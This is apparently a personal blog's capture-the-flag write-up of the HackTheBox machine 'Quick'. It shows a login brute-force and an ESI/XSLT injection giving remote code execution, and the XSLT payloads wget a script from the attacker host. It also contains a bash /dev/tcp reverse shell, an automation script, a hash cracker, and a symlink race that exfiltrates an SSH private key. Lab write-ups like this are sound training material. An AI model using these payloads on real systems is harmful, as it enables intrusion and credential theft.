HackTheBox - Quick

Summary

Quick,a Linux box created by HackTheBox user MrR3boot, was an overall hard difficulty box. Initial foothold was finding a password from HTTPS-over-UDP and bruteforce the login. And exploiting Esigate to get an RCE and get User by that. Getting Second user was exploiting a Race Condition and get the second user and looking in the conf.d we get a password using that on root give us Root.

Initial Scan

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 00:31 IST
Nmap scan report for 10.10.10.186
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.98 seconds

Running Gobuster and manually enumerating we find a domain name on the home page as

1
2
3
4
5
6
7
/index.php (Status: 200)
/search.php (Status: 200)
/home.php (Status: 200)
/login.php (Status: 200)
/clients.php (Status: 200)
/db.php (Status: 200)
/ticket.php (Status: 200)
1
portal.quick.htb

visiting that give us an error.

also we find an login form trying sqlmap don’t reveal anything

looking at the request header we see that the application is reverse proxy by Esigate based on the header X-Powered-By: Esigate

Running VHost Scan

1
wfuzz  --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H 'Host: FUZZ.quick.htb' -u http://10.10.10.186

saw that page is crashing with

1
000000690:   500        82 L     188 W    5297 Ch     "gc._msdcs"

so trying in the request we see we can crash the server if we send _ in the host header
But playing around with this for hours don’t lead me anywhere

Running nmap again on UDP reveal

nmap UDP

1
2
3
4
5
6
7
8
9
10
# Nmap 7.80 scan initiated Sun Apr 26 10:35:44 2020 as: nmap -sC -sV -sU -oN nmap/quick-udp 10.10.10.186
Nmap scan report for portal.quick.htb (10.10.10.186)
Host is up (0.35s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
443/udp open|filtered https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 26 10:54:23 2020 -- 1 IP address (1 host up) scanned in 1119.70 seconds

HTTPS over UDP

Reading about https we learn about a protocol as quic which tell us more about this. quiche-client we are able to dump a password as Quick4cc3$$

installed using

1
2
git clone --recursive https://github.com/cloudflare/quiche
cargo build --examples

similarly i read more files using

1
cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify  https://portal.quick.htb/index.php?view=about

leaks few emails and

1
cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify  https://portal.quick.htb/index.php?view=docs

give us some documents one of which contain the password.

Generating emails

i used all the names i got and some common like admin, sysadmin, itadmin and some names from the index.php client testimonial as tim,roy,elisa and james.

And created some domains from client.php company names as

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
qconsulting.uk
qconsulting.com
qconsulting.pvt.ltd.uk
qconsulting.pvt.ltd.com
qconsulting.pvt.ltd
qconsulting.pvt.com
darkwingsolutions.us
darkwingsolutions.com
darkwingsol.us
darkwingsol.com
darkwing.us
darkwing.com
wink.us
wink.uk
wink.co.uk
wink.org.uk
wink.me.uk
wink.com
lazycoop.cn
lazycoop.com
lazycoop.pvt.ltd.cn
lazycoop.pvt.ltd.com
lazycoop.pvt.ltd
lazycoop.pvt.com
ScoobyDoo.it
ScoobyDoo.com
PenguinCrop.fr
PenguinCrop.com

and create a list of emails and use them to brute-force the login with the hydra using the following command.

1
hydra -L emailList.txt -p 'Quick4cc3$$' -s 9001 $IP http-post-form "/login.php:email=^USER^&password=^PASS^:Invalid Credentials"
1
[9001][http-post-form] host: 10.10.10.186   login: elisa@wink.co.uk   password: Quick4cc3$$

which give us a valid credential for login.php as elisa@wink.co.uk:Quick4cc3$$

logging in and trying the credentials we see an XSS on the search. but trying few things don’t lead me anywhere.

Going back to Esigate we see an issue as issue which lead me to a blog

Playing around with the details i have i got an RCE with

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /ticket.php HTTP/1.1
Host: quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://quick.htb:9001/ticket.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Connection: close
Cookie: PHPSESSID=7uur1ksi5b0pok3jn4kfia3d3q
Upgrade-Insecure-Requests: 1

title=te&msg=a&id=<esi:include src="http://10.10.14.48/q.xml" stylesheet="http://10.10.14.48/q.xsl"></esi:include>

and ping.xsl as

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[ping -c 1 10.10.14.48]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

ping.xml as

1
2
3
<?xml version="1.0" ?>

</xml>

which gave me a ping back.

After playing around for sometime we see we cannot pipe commands.

So I thought of breaking that in 3 Steps

USER

We can use the RCE to get a shell as the user

STEP 1: Download a payload.sh on the box
by creating a new xsl file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://10.10.14.48/payload.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

STEP 2: chmod +x payload.sh on the box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[chmod +x ./payload.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

STEP 3: Have a listener running and execute the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[./payload.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

NOTE: for each of the steps you will need a similar .xml file. Also you will need to have a new filename after each stage as the server cache the name and will hit with http://10.10.14.48/http://10.10.14.48/x.xsl instead of http://10.10.14.48/x.xsl so changing filename with each request make it work.

for payload.sh i used a simple bash reverse shell in payload.sh
as

1
2
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.48/9001 0>&1"
1
2
3
4
5
6
sam@quick:~$ whoami;hostname;cat user.txt
whoami;hostname;cat user.txt
sam
quick
a5448885fe6fbfdc9f75e74be12dacba
sam@quick:~$

Extra

I also wrote a script to automate that and get a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import json

### Edit IP in the payload.sh and upload.xsl

IP="10.10.10.186"
HOSTIP="10.10.14.48"
# IP="127.0.0.1"
PORT=9001
username="elisa@wink.co.uk"
passw="Quick4cc3$$"

def login(email,password):
url = "http://"+IP+":"+str(PORT)+"/login.php"
payload={"email":email,"password":password}
headers= {"Referer": "http://quick.htb:9001/login.php","Host": "quick.htb:9001"}
response = requests.post(url,headers=headers, data=payload,allow_redirects=False)
cookie = response.headers['Set-Cookie'] # Return the cookie
cookie = cookie.split(";")[0]
return cookie


def create_ticket(filename,c):
c = c.split("=")
cookie={c[0]:c[1]}
url = "http://"+IP+":"+str(PORT)+"/ticket.php"
id="""<esi:include src="http://"""+HOSTIP+"""/"""+filename+""".xml" stylesheet="http://"""+HOSTIP+"""/"""+filename+""".xsl"></esi:include>"""
payload = {"title":"test","msg":"test","id":id}
response = requests.post(url, data=payload,cookies=cookie,allow_redirects=False)

# title=te&msg=a&id=<esi:include src="http://10.10.14.48/q.xml" stylesheet="http://10.10.14.48/q.xsl"></esi:include>

cookie = login(username,passw)
create_ticket("upload",cookie)
create_ticket("chmod",cookie)
create_ticket("execute",cookie)

along with www serving that zip by a python server.

Privilege Escalation

Looking in the DB we find users hash for Server Admin as e626d51f8fbfd1124fdea88396c35d05 i wrote a simple php script to crack that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$hash = 'e626d51f8fbfd1124fdea88396c35d05';
// $fn = fopen("./myfile.txt","r");
$fn = fopen("/usr/share/wordlists/rockyou.txt","r");
while(! feof($fn)) {
$password = fgets($fn);
$password = trim($password);
// echo $password."\n";
$computedHash = md5(crypt($password,'fa'));
// echo $computedHash;
if($hash == $computedHash){
echo "Password Found: ". $password."\n";
fclose($fn);
exit(0);
}
}
fclose($fn);
?>

we get password yl51pbx so we have a valid creds as srvadm@quick.htb:yl51pbx

enumerating the box we find that there is another subdomain running on apache2 and that is running as srvadm

reading the code on jobs.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php
require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();

if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
$row=$result->fetch_assoc();
$ip=$row["ip"];
$port=$row["port"];
try
{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
catch(Exception $error)
{
$error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
}
}
else
{
$error="Couldn't find printer.";
}
}


?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title>Quick | POS Print Server</title>
<link rel="stylesheet" href="css/bulma.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="wrapper">
<section class="hero is-info">
<div class="hero-head">
<header class="nav">
<div class="container">
<div class="nav-left">
<a href="home.php" class="nav-item">
Quick | POS Print Server
</a>
</div>
<div class="nav-right">
<a href="printers.php" class="nav-item is-active">
Printers
</a>
<a href="add_printer.php" class="nav-item">
Add Printer
</a>
</div>
</div>
</header>
</div>
<div class="hero-body">
<div class="container has-text-centered">
<h2 class="subtitle">
An application for printing POS receipts.
</h2>
</div>
</div>
</section>

<div class="hero is-light has-text-centered">
<div class="hero-body heading">
<h1 class="title" style="margin-bottom:0;">Print Jobs</h1>
</div>
</div>

<section class="section">
<div class="container">
<?php
if ($message) {
echo '<div class="notification is-success">'.$message.'</div>';
}
?>
<?php
if ($error) {
echo '<div class="notification is-danger">'.$error.'</div>';
}
?>
<p class="subtitle">Please assign a job to printer.</p>
<form action="job.php" method="post" accept-charset="utf-8">

<div class="field is-horizontal">
<div class="field-label is-normal">
<label class="label" for="receipt_printer">Bill & Receipt Printer</label>
</div>
<div class="field-body">
<div class="field">
<div class="control">
<div class="select is-fullwidth">
<select name="title" id="receipt_printer">
<?php
echo '<option value="'.$_GET["title"].'" selected="selected">'.$_GET["title"].'</option>';
?>
</select>
</div>
</div>
</div>
</div>
</div>
<div class="field is-horizontal">
<div class="field-label is-normal">
<label class="label" for="order_printers">Bill Details</label>
</div>
<div class="field-body">
<div class="field">
<div class="control">
<div class="select multiple is-fullwidth">
<textarea name="desc" rows="7" cols="105"></textarea>
</div>
</div>
</div>
</div>
</div>
<div class="field is-horizontal" style="margin-top:10px;">
<div class="field-label"></div>
<div class="field-body">
<div class="field">
<div class="control">
<button type="submit" name="submit" class="button is-primary">
Print
</button>
</div>using
</div>
</div>
</div>
</form>

</div>
</section>
</div>

<footer class="footer">
<div class="container">
<p>
<span class="icon is-pulled-right">
</span>
&copy; <?= date('Y'); ?> @ quick.htb
</p>
</div>
</footer>

<script type="text/javascript" src="js/script.js"></script>
<script type="text/javascript">
var printers = <?= !empty($printers) ? json_encode($printers) : '{}'; ?>;
</script>
</body>
</html>
<?php }
else
{
echo '<script>alert("Invalid Username/Password");window.location.href="index.php";</script>';
}?>

we see a race condition so i created a script to remove the latest file and replace that with
symlink of srvadm id_rsa

1
while true;do latest=$(find $(pwd) -print0 |xargs -r -0 ls -1 -t |head -1);rm -f $latest;ln -s /home/srvadm/.ssh/id_rsa $latest;done;

And running nc -nvlkp 9100 on our local machine to receive the key.

Login to the printerv2 adding a printer and then printing a job give us the id_rsa for srvadm

  • 1
  • 2
  • 3
  • 4
  • 5

now we can ssh on the box as srvadm using

1
ssh -i ./srvadm.key srvadm@$IP

Enumerating we see there are files in ~/.cache

and grepping on ~/.cache/conf.d we see that we see a password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
srvadm@quick:~/.cache/conf.d$ grep -ir print
printers.conf:# Printer configuration file for CUPS v2.3.0
printers.conf:NextPrinterId 5
printers.conf:<Printer Aviatar>
printers.conf:PrinterId 1
printers.conf:ErrorPolicy stop-printer
printers.conf:Option print-color-mode color
printers.conf:Option print-quality 5
printers.conf:</Printer>
printers.conf:<Printer OLD_Aviatar>
printers.conf:PrinterId 2
printers.conf:DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
printers.conf:ErrorPolicy stop-printer
printers.conf:Option print-color-mode color
printers.conf:Option print-quality 5
printers.conf:</Printer>
printers.conf:<DefaultPrinter PA-7032>
printers.conf:PrinterId 3
printers.conf:ErrorPolicy stop-printer
printers.conf:</DefaultPrinter>
printers.conf:<Printer PDF_Printer>
printers.conf:PrinterId 4
printers.conf:Info Virtual PDF Printer
printers.conf:MakeModel Generic CUPS-PDF Printer
printers.conf:ErrorPolicy stop-printer
printers.conf:</Printer>
cupsd.conf:# Show shared printers on the local network.
cupsd.conf:# Set the default printer/job policies...
cupsd.conf: <Limit Create-Job Print-Job Print-URI Validate-Job>
cupsd.conf: <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default CUPS-Get-Devices>
cupsd.conf: # All printer operations require a printer operator to authenticate...
cupsd.conf: <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs>
cupsd.conf:# Set the authenticated printer/job policies...
cupsd.conf: <Limit Create-Job Print-Job Print-URI Validate-Job>
cupsd.conf: <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default>
cupsd.conf: # All printer operations require a printer operator to authenticate...
cupsd.conf: <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs>

Give us URL Encoded URL which contain a password URL Decoding that we see the link as

1
https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer

and can grab the password as &ftQ4K3SGde8?

using that we can su as root

1
2
3
4
5
root@quick:~# whoami;hostname;cut -c 1-15 ~/root.txt
root
quick
0aeeb93db61a46
root@quick:~#

and we have pwned Quick 💃

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/quick/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.